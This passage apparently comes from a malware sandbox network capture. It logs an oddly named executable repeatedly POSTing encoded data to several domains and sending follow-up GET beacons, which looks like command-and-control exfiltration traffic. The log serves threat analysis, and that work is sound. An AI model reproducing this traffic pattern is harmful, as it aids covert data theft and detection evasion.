Jan 14, 2025 10:26:16.567145109 CET	940	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 09:26:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BzaA1sj8tH4vEN1ikzeHVNTgk3%2BFvNQpBorj0w%2Frdj2W7%2FKHomoVCySaB5gc9KlsJ8ilVVUNucfOwUT0vE7CQcRtnv25WQrLx3rwHQGrKeBkvI3x63jbORSdYv2e%2BAdyeIkMvQJlnEoUCs9E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901c95612cfd1a30-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2024&rtt_var=1012&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=448&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	57608	3.33.130.190	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:21.613159895 CET	706	OUT	POST /otgv/ HTTP/1.1 Host: www.livingslab.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.livingslab.net Referer: http://www.livingslab.net/otgv/ Cache-Control: no-cache Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 72 4e 4c 57 76 63 4e 46 5a 30 2f 34 68 31 47 55 31 32 4b 4d 41 34 4a 2f 49 6f 6d 6c 7a 41 32 66 44 30 70 39 4f 6f 59 63 33 51 44 62 33 4e 43 55 53 2f 2f 4f 45 50 41 6b 6c 49 42 7a 30 65 62 63 73 63 2b 2f 62 66 35 63 79 70 38 77 42 59 73 6e 43 2f 64 75 6c 74 69 2f 4a 43 74 51 4a 6e 78 66 31 70 30 57 64 45 6e 42 6a 56 7a 73 6d 50 71 43 4e 48 6d 4d 54 65 46 76 70 31 6e 35 73 34 4f 54 38 56 46 59 73 6a 77 5a 48 4f 31 51 72 32 52 30 4b 65 4e 78 69 42 72 38 76 55 77 65 72 38 79 71 72 58 41 6a 59 4f 4f 37 41 61 2b 43 58 70 42 4f 2b 61 62 58 4b 42 44 46 4e 66 70 72 4b 74 61 62 31 67 3d 3d Data Ascii: wz4=rNLWvcNFZ0/4h1GU12KMA4J/IomlzA2fD0p9OoYc3QDb3NCUS//OEPAklIBz0ebcsc+/bf5cyp8wBYsnC/dulti/JCtQJnxf1p0WdEnBjVzsmPqCNHmMTeFvp1n5s4OT8VFYsjwZHO1Qr2R0KeNxiBr8vUwer8yqrXAjYOO7Aa+CXpBO+abXKBDFNfprKtab1g==
Jan 14, 2025 10:26:22.054047108 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	57609	3.33.130.190	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:24.153810978 CET	726	OUT	POST /otgv/ HTTP/1.1 Host: www.livingslab.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.livingslab.net Referer: http://www.livingslab.net/otgv/ Cache-Control: no-cache Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 72 4e 4c 57 76 63 4e 46 5a 30 2f 34 6e 55 57 55 35 31 69 4d 52 49 4a 2b 47 49 6d 6c 35 67 32 62 44 30 74 39 4f 71 30 79 72 79 6e 62 32 75 57 55 52 36 4c 4f 48 50 41 6b 75 6f 42 32 35 2b 62 54 73 63 69 33 62 64 74 63 79 70 6f 77 42 64 49 6e 43 6f 70 76 6b 39 6a 5a 63 79 74 57 58 58 78 66 31 70 30 57 64 43 4c 37 6a 55 62 73 6d 65 61 43 4e 6c 65 50 49 2b 46 77 71 31 6e 35 6f 34 4f 58 38 56 46 32 73 6e 78 43 48 4d 4e 51 72 79 42 30 4e 50 4e 79 33 78 72 36 67 30 78 37 6f 50 48 36 70 30 74 50 63 49 47 56 65 75 37 36 62 50 4d 55 76 72 36 41 59 42 6e 32 51 59 67 66 48 75 6e 53 75 74 79 59 51 77 6e 75 50 6e 75 6f 44 67 72 57 65 59 56 6b 56 2f 6b 3d Data Ascii: wz4=rNLWvcNFZ0/4nUWU51iMRIJ+GIml5g2bD0t9Oq0yrynb2uWUR6LOHPAkuoB25+bTsci3bdtcypowBdInCopvk9jZcytWXXxf1p0WdCL7jUbsmeaCNlePI+Fwq1n5o4OX8VF2snxCHMNQryB0NPNy3xr6g0x7oPH6p0tPcIGVeu76bPMUvr6AYBn2QYgfHunSutyYQwnuPnuoDgrWeYVkV/k=
Jan 14, 2025 10:26:24.615047932 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	57610	3.33.130.190	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:26.700403929 CET	10808	OUT	POST /otgv/ HTTP/1.1 Host: www.livingslab.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.livingslab.net Referer: http://www.livingslab.net/otgv/ Cache-Control: no-cache Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 72 4e 4c 57 76 63 4e 46 5a 30 2f 34 6e 55 57 55 35 31 69 4d 52 49 4a 2b 47 49 6d 6c 35 67 32 62 44 30 74 39 4f 71 30 79 72 79 76 62 33 65 4b 55 54 64 6e 4f 47 50 41 6b 6a 49 42 33 35 2b 62 30 73 63 36 7a 62 64 68 32 79 71 51 77 4f 66 41 6e 54 4b 42 76 39 4e 6a 5a 44 69 74 58 4a 6e 78 4f 31 76 55 53 64 45 72 37 6a 55 62 73 6d 63 43 43 4c 33 6d 50 4b 2b 46 76 70 31 6e 31 73 34 4f 2f 38 56 64 41 73 6e 30 33 48 38 74 51 6f 53 52 30 4c 39 56 79 31 52 72 34 6e 30 78 5a 6f 50 61 67 70 31 42 31 63 49 61 2f 65 70 7a 36 52 4b 74 70 2f 36 79 33 47 69 33 33 4f 76 45 55 66 4f 58 50 33 64 47 36 58 41 76 50 54 6e 6d 45 41 77 6a 61 62 61 4d 6d 4b 50 49 4f 56 59 4f 32 4a 4d 36 68 65 71 47 6a 35 62 42 46 4f 7a 4a 58 4f 4c 65 36 49 75 6b 36 78 62 53 43 64 6b 4b 49 71 48 53 6a 36 64 61 73 6e 37 74 59 68 45 61 65 34 7a 59 61 47 52 52 69 4b 47 5a 42 4c 76 53 78 52 6c 63 41 74 65 69 53 69 44 53 73 64 6e 4f 61 33 63 38 4a 72 63 36 54 44 53 61 67 72 6c 4d 34 71 6e 4c 5a 37 6d 62 42 70 30 6f 5a 75 62 76 52 38 4f [TRUNCATED] Data Ascii: wz4=rNLWvcNFZ0/4nUWU51iMRIJ+GIml5g2bD0t9Oq0yryvb3eKUTdnOGPAkjIB35+b0sc6zbdh2yqQwOfAnTKBv9NjZDitXJnxO1vUSdEr7jUbsmcCCL3mPK+Fvp1n1s4O/8VdAsn03H8tQoSR0L9Vy1Rr4n0xZoPagp1B1cIa/epz6RKtp/6y3Gi33OvEUfOXP3dG6XAvPTnmEAwjabaMmKPIOVYO2JM6heqGj5bBFOzJXOLe6Iuk6xbSCdkKIqHSj6dasn7tYhEae4zYaGRRiKGZBLvSxRlcAteiSiDSsdnOa3c8Jrc6TDSagrlM4qnLZ7mbBp0oZubvR8OqQWP0M+7cwOg9c+a7+e6DjdayY0U9vqCKCJV3WKKvlNoGv+B/C0OTgDlJgrsc2SaqiOuz50zY2z1/DUGR2yPswoy/kcuKVDuqYFy7XuHli9OnJWulSIbrRfSNsJue0AYiznmD6louRyb1u8mk/I13DsmG+vNSyZR/cRzkEJpRlBrMwOqvW9nYIt03IEXVmSKVILtA8njfAr1IQGTv7aoc49uFPe6zVx+XrI4BfuqUOa4wiSc/q3hGhvKmAfGIqHGovNFHHqHYf3iruFB2VBXTeuF5F59xsyudU3XSKpr9fYLL9TUGTtEGxrA3joGpz8+KuF/tVlOZx07fvQyjhaXNt6uYSnd/fjyrWJNcq6ke3lDU0XYMGBZBq0Y4kgA++FFZ9ABuFl2oBYN7Wrd5nRlhVRrhDtVvZUz5pMsoYUhdz93h6nEc7KRNAgfinqLQmn7WH+jtq/tQCCfsTwbUJ8jw47XRaGBK0SMbWeu0H9Q/5ny9CUDwdO41Ej+YYe0QxsZhMyOr/G2cN/ua1r5JeUjiSWY+reQoWVym8tf67cTFl1ZpJ0HuxAKM//LpzwHjYkt88a8OpTUmA3Oma906IvdCxcuqo5P1UVYnqOG24uJTXHNF+iF8I56xHNQJONmX1ce0qzf19fWP+vVdgRVkQi8Vcx9WoUhxP6gsQ [TRUNCATED]
Jan 14, 2025 10:26:27.158287048 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	57611	3.33.130.190	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:29.244163990 CET	441	OUT	GET /otgv/?wz4=mPj2soEUEFmq5Xu56Ev9ENs/GIe87AemMTFSPosGtz7M/tXNad3AOcc3teRO2drll+qYOuNJorQ/HJUWSqoYkO/lFhsMOlB8p4kTaBK5nEPe9NarMUavWdI=&OvV=2njD6f80EDOLQ8 HTTP/1.1 Host: www.livingslab.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Jan 14, 2025 10:26:29.699184895 CET	379	IN	HTTP/1.1 200 OK content-type: text/html date: Tue, 14 Jan 2025 09:26:29 GMT content-length: 258 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 77 7a 34 3d 6d 50 6a 32 73 6f 45 55 45 46 6d 71 35 58 75 35 36 45 76 39 45 4e 73 2f 47 49 65 38 37 41 65 6d 4d 54 46 53 50 6f 73 47 74 7a 37 4d 2f 74 58 4e 61 64 33 41 4f 63 63 33 74 65 52 4f 32 64 72 6c 6c 2b 71 59 4f 75 4e 4a 6f 72 51 2f 48 4a 55 57 53 71 6f 59 6b 4f 2f 6c 46 68 73 4d 4f 6c 42 38 70 34 6b 54 61 42 4b 35 6e 45 50 65 39 4e 61 72 4d 55 61 76 57 64 49 3d 26 4f 76 56 3d 32 6e 6a 44 36 66 38 30 45 44 4f 4c 51 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?wz4=mPj2soEUEFmq5Xu56Ev9ENs/GIe87AemMTFSPosGtz7M/tXNad3AOcc3teRO2drll+qYOuNJorQ/HJUWSqoYkO/lFhsMOlB8p4kTaBK5nEPe9NarMUavWdI=&OvV=2njD6f80EDOLQ8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	57612	20.244.96.65	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:34.751840115 CET	721	OUT	POST /rdfj/ HTTP/1.1 Host: www.quickcommerce.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.quickcommerce.cloud Referer: http://www.quickcommerce.cloud/rdfj/ Cache-Control: no-cache Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 62 30 65 74 32 51 63 50 63 62 31 73 66 76 38 6b 75 59 2f 6e 34 4f 55 6b 55 68 4c 35 65 7a 55 78 32 33 72 56 68 69 6c 48 79 4a 45 77 49 77 31 34 69 75 65 6c 59 43 36 41 62 4d 79 31 4a 50 33 42 74 76 33 70 78 48 4e 61 34 52 46 48 78 74 42 65 70 7a 30 75 69 37 78 47 32 63 53 44 50 38 47 30 66 6d 72 47 59 59 4d 52 4a 50 68 69 6f 64 74 36 4a 41 73 70 6d 34 4e 70 73 53 69 64 35 32 2f 6b 31 54 6f 79 6b 4a 41 47 75 78 6d 4c 32 68 6c 67 4d 46 32 57 53 37 31 35 67 44 6d 6a 63 42 56 68 4c 6a 69 34 30 71 54 70 58 64 6e 78 73 68 71 35 30 68 75 59 56 58 51 53 37 31 4b 58 71 45 70 6c 6e 67 3d 3d Data Ascii: wz4=b0et2QcPcb1sfv8kuY/n4OUkUhL5ezUx23rVhilHyJEwIw14iuelYC6AbMy1JP3Btv3pxHNa4RFHxtBepz0ui7xG2cSDP8G0fmrGYYMRJPhiodt6JAspm4NpsSid52/k1ToykJAGuxmL2hlgMF2WS715gDmjcBVhLji40qTpXdnxshq50huYVXQS71KXqEplng==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	57613	20.244.96.65	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:37.296001911 CET	741	OUT	POST /rdfj/ HTTP/1.1 Host: www.quickcommerce.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.quickcommerce.cloud Referer: http://www.quickcommerce.cloud/rdfj/ Cache-Control: no-cache Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 62 30 65 74 32 51 63 50 63 62 31 73 65 50 4d 6b 69 65 33 6e 36 75 55 6c 52 68 4c 35 4c 44 55 31 32 33 33 56 68 6a 77 61 79 36 77 77 4c 51 46 34 77 2f 65 6c 5a 43 36 41 55 73 7a 39 52 76 33 77 74 76 4c 50 78 48 42 61 34 52 52 48 78 76 70 65 6f 44 49 76 6a 72 78 45 6f 38 53 42 46 63 47 30 66 6d 72 47 59 59 77 37 4a 50 5a 69 6f 74 39 36 4c 68 73 71 36 6f 4e 75 37 69 69 64 39 32 2f 67 31 54 6f 71 6b 4c 6b 73 75 33 69 4c 32 67 56 67 4d 52 61 58 4a 72 31 2f 39 54 6e 4f 61 51 77 52 44 32 62 69 39 4a 7a 36 54 35 58 53 70 6e 6e 6a 6c 51 50 50 48 58 30 68 6d 79 44 6a 6e 48 55 73 38 67 6f 64 35 6f 5a 59 48 39 6f 50 6a 5a 33 66 2b 62 2f 57 4b 54 73 3d Data Ascii: wz4=b0et2QcPcb1sePMkie3n6uUlRhL5LDU1233Vhjway6wwLQF4w/elZC6AUsz9Rv3wtvLPxHBa4RRHxvpeoDIvjrxEo8SBFcG0fmrGYYw7JPZiot96Lhsq6oNu7iid92/g1ToqkLksu3iL2gVgMRaXJr1/9TnOaQwRD2bi9Jz6T5XSpnnjlQPPHX0hmyDjnHUs8god5oZYH9oPjZ3f+b/WKTs=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	57614	20.244.96.65	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:39.842066050 CET	10823	OUT	POST /rdfj/ HTTP/1.1 Host: www.quickcommerce.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.quickcommerce.cloud Referer: http://www.quickcommerce.cloud/rdfj/ Cache-Control: no-cache Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 62 30 65 74 32 51 63 50 63 62 31 73 65 50 4d 6b 69 65 33 6e 36 75 55 6c 52 68 4c 35 4c 44 55 31 32 33 33 56 68 6a 77 61 79 36 6f 77 49 69 4e 34 69 4d 47 6c 44 43 36 41 64 4d 7a 38 52 76 33 58 74 76 54 4c 78 48 64 4b 34 54 70 48 6a 65 4a 65 76 77 51 76 74 72 78 45 67 63 53 41 50 38 47 45 66 69 48 61 59 59 41 37 4a 50 5a 69 6f 72 35 36 64 67 73 71 34 6f 4e 70 73 53 69 5a 35 32 2f 63 31 54 77 36 6b 4c 77 57 75 48 43 4c 33 41 46 67 50 69 69 58 55 37 31 39 38 54 6e 57 61 51 4d 4f 44 32 76 6d 39 49 58 55 54 2b 6e 53 6f 79 36 37 78 69 43 55 46 52 59 35 6b 79 36 45 2b 6c 49 48 31 68 63 53 79 4c 56 79 63 66 67 51 74 37 2f 51 35 70 7a 4a 4c 45 43 54 37 68 42 34 51 58 4b 54 4f 54 70 45 41 6f 51 64 58 6d 38 51 54 61 49 5a 55 34 37 42 4c 76 6e 6b 75 78 58 69 70 70 47 2f 42 32 76 62 47 43 66 35 4d 57 45 71 57 71 63 37 66 57 4b 53 4f 6b 7a 30 4d 73 45 4a 58 51 32 7a 47 6f 76 58 6b 4c 43 78 62 4f 4c 58 6d 4a 4d 74 6e 37 58 54 55 42 74 59 34 49 6b 54 4e 68 34 67 35 77 50 30 34 47 61 63 68 42 69 5a 45 68 [TRUNCATED] Data Ascii: wz4=b0et2QcPcb1sePMkie3n6uUlRhL5LDU1233Vhjway6owIiN4iMGlDC6AdMz8Rv3XtvTLxHdK4TpHjeJevwQvtrxEgcSAP8GEfiHaYYA7JPZior56dgsq4oNpsSiZ52/c1Tw6kLwWuHCL3AFgPiiXU7198TnWaQMOD2vm9IXUT+nSoy67xiCUFRY5ky6E+lIH1hcSyLVycfgQt7/Q5pzJLECT7hB4QXKTOTpEAoQdXm8QTaIZU47BLvnkuxXippG/B2vbGCf5MWEqWqc7fWKSOkz0MsEJXQ2zGovXkLCxbOLXmJMtn7XTUBtY4IkTNh4g5wP04GachBiZEhICtHoY0W/UkvpiwuhINN96rSl+dS0e11Qlfz6BISPq/AYvqy4wNYJtckebc3yt61YMYTU/T6T0kYWmBEJk5ygjNyVNEO47KvMlwPiO1yEgPrCniNHrdAp3yRTpT3DN2UQ+IrWDoBHw3d9hWUOfVVBUCetvH6i7YO8FrD5FobfpmK2o9EiQOTJb48zl8rIO5Ftmalayts3BJHSvMGmgxbMTt8rB7WPJIG5NxAKbwcTQOY6cw4jgimajSu7j6mKtfX42cdiQqAJd52tX3BKTPYNMpWIrEPyDoZ6JwXipJlbprJmW+OGV/WZGcdaGaLc175hPKYFm7R4eavsv8nfGzJx/+hPjqd2oPI22fk+NM2hjlFcpQSNoJbyFtcvIw34NMKPc7Rzm/lryO4XzirFy4IRX8veMga8ypChwzTnr+GPHI1PZFLdbU0YC5LP5tiG98e9d2n2CRWb56zJMCtcO9XFd0f0lQfVWPeJTj6Q1GDXSGafhMJlRqsMLj+Namk+p6vK/WZCFYQc4JhcQGqAFdBjhDFnprK8gz/4Pm9s3xHgs7ZG6dViGg7noQZxeQ0apTbz1VSVFeD2ovyOHL6BxBSOY4FyhqTC7GJc68lWcpc/4WSdeGQ7U4N50Q6DDyNGJRfmM0ygtEGFNx2D9M7hzTmJcMMxG5UPK52PS [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	57615	20.244.96.65	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:42.389491081 CET	446	OUT	GET /rdfj/?wz4=W22N1n9VK5BsDegKssi59d1tdmClQzQM6krhrjkO5qQUOhZ23fqPP0igRbfRb/LgqczUnn1NrDdL/bN6nwlekL5Do//GTuaTPhPlYdtLOoB+gLN1EC4FlrA=&OvV=2njD6f80EDOLQ8 HTTP/1.1 Host: www.quickcommerce.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Jan 14, 2025 10:26:43.766833067 CET	646	IN	HTTP/1.1 301 Moved Permanently content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-redirect-by: WordPress location: http://quickcommerce.cloud/rdfj/?wz4=W22N1n9VK5BsDegKssi59d1tdmClQzQM6krhrjkO5qQUOhZ23fqPP0igRbfRb/LgqczUnn1NrDdL/bN6nwlekL5Do//GTuaTPhPlYdtLOoB+gLN1EC4FlrA=&OvV=2njD6f80EDOLQ8 x-litespeed-cache-control: public,max-age=3600 x-litespeed-tag: 89f_HTTP.404,89f_HTTP.301,89f_404,89f_URL.246f60e15357fcc9eb3214bcdd20f5a9,89f_ x-litespeed-cache: miss content-length: 0 date: Tue, 14 Jan 2025 09:26:43 GMT server: LiteSpeed connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	57616	84.32.84.32	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:56.913213968 CET	706	OUT	POST /8vp1/ HTTP/1.1 Host: www.xpremio.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.xpremio.online Referer: http://www.xpremio.online/8vp1/ Cache-Control: no-cache Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 79 4a 37 41 55 53 67 78 6a 69 7a 6e 35 6b 4f 35 62 52 46 61 54 69 33 62 42 77 41 2b 64 71 2f 4b 51 64 6d 37 37 7a 61 65 46 51 61 6a 34 58 59 52 54 79 73 36 6d 2f 58 4d 41 34 6a 31 77 43 57 75 58 51 59 4c 2f 72 54 44 31 74 6a 61 6b 44 62 31 65 63 34 2b 33 63 75 55 6a 4d 68 34 49 70 66 73 71 66 31 4f 4d 4e 38 4e 71 31 71 5a 76 4c 41 55 58 35 35 53 55 65 2b 59 5a 33 42 4e 52 32 42 32 68 47 39 65 63 2f 66 77 6b 6e 50 42 38 7a 70 59 55 76 63 2b 64 33 47 53 52 76 33 71 79 5a 47 2b 76 6a 39 47 38 35 50 6b 64 74 4d 78 77 46 31 4d 6e 75 61 43 62 37 52 48 4d 74 4c 37 57 46 4c 39 78 67 3d 3d Data Ascii: wz4=yJ7AUSgxjizn5kO5bRFaTi3bBwA+dq/KQdm77zaeFQaj4XYRTys6m/XMA4j1wCWuXQYL/rTD1tjakDb1ec4+3cuUjMh4Ipfsqf1OMN8Nq1qZvLAUX55SUe+YZ3BNR2B2hG9ec/fwknPB8zpYUvc+d3GSRv3qyZG+vj9G85PkdtMxwF1MnuaCb7RHMtL7WFL9xg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	57617	84.32.84.32	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:59.450258017 CET	726	OUT	POST /8vp1/ HTTP/1.1 Host: www.xpremio.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.xpremio.online Referer: http://www.xpremio.online/8vp1/ Cache-Control: no-cache Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 79 4a 37 41 55 53 67 78 6a 69 7a 6e 34 48 57 35 49 43 64 61 43 53 33 61 59 41 41 2b 45 36 2b 69 51 64 36 37 37 79 75 4f 47 6c 43 6a 32 56 51 52 53 33 41 36 7a 2f 58 4d 49 59 6a 77 2f 69 57 35 58 51 6b 31 2f 71 76 44 31 74 33 61 6b 48 4c 31 65 74 34 35 30 73 75 61 73 73 68 36 48 4a 66 73 71 66 31 4f 4d 4e 42 69 71 31 43 5a 75 36 77 55 56 64 74 54 64 2b 2b 62 61 33 42 4e 62 57 42 79 68 47 38 4a 63 37 66 4b 6b 6c 48 42 38 7a 5a 59 4e 65 63 35 55 33 47 63 56 76 32 57 38 34 6a 54 72 32 4d 64 68 59 54 33 55 4d 67 74 34 6a 34 57 32 66 37 56 4a 37 31 30 52 71 43 50 62 47 32 30 71 6d 35 32 51 68 30 37 69 5a 64 45 45 4c 34 59 59 68 63 44 46 6a 49 3d Data Ascii: wz4=yJ7AUSgxjizn4HW5ICdaCS3aYAA+E6+iQd677yuOGlCj2VQRS3A6z/XMIYjw/iW5XQk1/qvD1t3akHL1et450suassh6HJfsqf1OMNBiq1CZu6wUVdtTd++ba3BNbWByhG8Jc7fKklHB8zZYNec5U3GcVv2W84jTr2MdhYT3UMgt4j4W2f7VJ710RqCPbG20qm52Qh07iZdEEL4YYhcDFjI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
